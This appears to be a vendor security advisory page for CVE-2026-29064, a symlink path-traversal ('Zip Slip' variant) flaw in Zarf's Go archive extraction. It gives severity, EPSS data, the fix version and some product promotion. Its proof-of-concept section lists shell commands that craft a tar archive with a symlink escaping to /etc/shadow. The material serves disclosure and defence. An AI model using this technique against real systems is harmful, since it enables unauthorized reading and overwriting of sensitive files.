How severe is CVE-2026-29064?

CVE-2026-29064 has a CVSS score of 8.2/10, rated HIGH. Immediate patching is strongly recommended.

Which packages are affected by CVE-2026-29064?

CVE-2026-29064 affects the following packages: github.com/zarf-dev/zarf/src/pkg/archive (Go). Ecosystems affected: Go.

How do I fix CVE-2026-29064?

Update github.com/zarf-dev/zarf/src/pkg/archive to 0.73.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-29064 is resolved across your whole dependency graph.

How do I detect CVE-2026-29064 in my Go dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/zarf-dev/zarf/src/pkg/archive, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2026-29064 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against CVE-2026-29064?

O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-29064 can be triaged on real exposure rather than presence alone.

Is CVE-2026-29064 actively exploited in the wild?

No public exploit code has been indexed for CVE-2026-29064 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for CVE-2026-29064?

CVE-2026-29064 has an EPSS (Exploit Prediction Scoring System) score of 0.2%, placing it in the 11th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

When was CVE-2026-29064 published, and has it been updated?

CVE-2026-29064 was published on March 6, 2026 and was last updated on August 12, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐹

🐹 Go

Not in CISA KEV

HIGH severity

CVE-2026-29064 — archive

HIGH

CVE-2026-29064 is a high-severity (CVSS 8.2) remote code execution vulnerability in github.com/zarf-dev/zarf/src/pkg/archive. A fix is available for github.com/zarf-dev/zarf/src/pkg/archive — see the affected versions and patch details below.

Zarf: Symlink targets in archives are not validated against destination directory

Also known asGHSA-hcm4-6hpj-vghmGO-2026-4636

Published

Mar 6, 2026

Updated

Aug 12, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Sep 24, 2026 · OSV.dev, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

A successful exploit gives an attacker total control of the affected component, not partial access.
CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-29064.

EPSS Exploitation Probability

via FIRST.org ↗

0.2%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs11th percentile — riskier than 11% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-29064 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected

🐹github.com/zarf-dev/zarf/src/pkg/archive

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A path traversal vulnerability in archive extraction allows a specifically crafted Zarf package to create symlinks pointing outside the destination directory, enabling arbitrary file read or write on the system processing the package.

What users should do

Upgrade immediately to version v0.73.1

If developers cannot upgrade immediately, only process Zarf packages from fully trusted sources until the fix is applied.

If using trusted packages and archives - the only impact to this is updating zarf binary or SDK package versions. Previously created packages do not need to be rebuilt.

Who is affected

Any user of affected Zarf versions who processes packages from untrusted or semi-trusted sources. This includes packages received via file transfer, downloaded from registries, or shared across organizational boundaries. This includes use of the zarf tools archiver decompress functionality on generic archives.
Any SDK consumers of Zarf for the affected versions who utilize package load or archive operations.

What is the risk

A malicious Zarf package or archive could create symlinks pointing to arbitrary locations on the filesystem. This could lead to unauthorized file reads, file overwrites, or in some scenarios, code execution on the system performing the extraction in the event a file on the system is both overwritten and executed. This vulnerability does not introduce an execution path explicitly.

Mitigating Factors

If developers only process trusted packages and/or trusted archives (with `zarf tools archiver decompress), the risk is low.

Details

The archive extraction code in src/pkg/archive/archive.go creates symlinks from archive entries without validating that the symlink target resolves within the extraction destination directory. This affects all three extraction handler functions:

defaultHandler (on line 320): Joins dst with f.LinkTarget, but does not verify the resolved path stays under dst. This means that a LinkTarget of "../../../../etc/shadow" would resolve outside the destination after filepath.Join.
stripHandler (on line 342): Passes f.LinkTarget verbatim to os.Symlink.
filterHandler (on line 370): Similar to defaultHandler, the code joins but does not validate the LinkTarget.

The vulnerability is a symlink variant of the "Zip Slip" class (CVE-2018-1002200). An attacker constructs a Zarf package containing an archive entry with a malicious f.LinkTarget. When the package is extracted, os.Symlink creates a symlink pointing outside the extraction root. A subsequent archive entry targeting the same name can then read or write through the symlink to an arbitrary location on the filesystem.

PoC

<details> <summary>Proof of Concept</summary> You may want to follow through these steps inside of a disposable environment (container, VM):

Reproduction via zarf tools archiver decompress (simplest)

This demonstrates the vulnerability using the defaultHandler (line 320).

# 1. Create a staging directory for the malicious archive contents.
mkdir -p /tmp/cve-repro/archive-contents

# 2. Create a symlink that traverses out of the extraction directory.
#    This symlink targets "../../../../../../../etc/shadow" relative to
#    whatever extraction destination is chosen.
cd /tmp/cve-repro/archive-contents
ln -s ../../../../../../../etc/shadow escape-link

# 3. Also create a regular file so the archive isn't empty besides the link.
echo "benign content" > readme.txt

# 4. Package into a tar.gz archive.
#    The --dereference flag is NOT used, so the symlink is stored as-is.
cd /tmp/cve-repro
tar -czf malicious.tar.gz -C archive-contents .

# 5. Verify the archive contains the symlink.
tar -tvf malicious.tar.gz
# Expected output includes:
#   lrwxrwxrwx ... ./escape-link -> ../../../../../../../etc/shadow

# 6. Create the extraction destination (deeply nested so the traversal
#    resolves to a real path).
mkdir -p /tmp/cve-repro/extract/a/b/c/d

# 7. Run the vulnerable extraction.
zarf tools archiver decompress malicious.tar.gz /tmp/cve-repro/extract/a/b/c/d

# 8. Verify the symlink was created pointing outside the destination.
ls -la /tmp/cve-repro/extract/a/b/c/d/escape-link
# Expected: escape-link /etc/shadow
#
# The symlink target resolves to /etc/shadow, which is OUTSIDE
# the extraction directory /tmp/cve-repro/extract/a/b/c/d/.

readlink -f /tmp/cve-repro/extract/a/b/c/d/escape-link
# Expected: /etc/shadow

What happened: defaultHandler (line 320) executed:
os.Symlink(filepath.Join(dst, f.LinkTarget), target)
// = os.Symlink("/tmp/cve-repro/extract/a/b/c/d/../../../../../../../etc/shadow",
//              "/tmp/cve-repro/extract/a/b/c/d/escape-link")
filepath.Join cleans the path to /etc/shadow, which is outside dst. No validation is performed.

</details>

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐹Go	`github.com/zarf-dev/zarf/src/pkg/archive`	≥ 0.54.0&&< 0.73.1	0.73.1`go get github.com/zarf-dev/zarf/src/pkg/archive@v0.73.1`

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/zarf-dev/zarf/src/pkg/archive, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/zarf-dev/zarf/src/pkg/archive to 0.73.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-29064 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-29064 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-29064. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A path traversal vulnerability in archive extraction allows a specifically crafted Zarf package to create symlinks pointing outside the destination directory, enabling arbitrary file read or write on the system processing the package. ### What users should do Upgrade immediately to version v0.73.1 If developers cannot upgrade immediately, only process Zarf packages from fully trusted sources until the fix is applied. If using trusted packages and archives - the only impact to this is updating zarf binary or SDK package versions. Previously created packages do not need to be reb

O3 Security · Impact-Aware SCA

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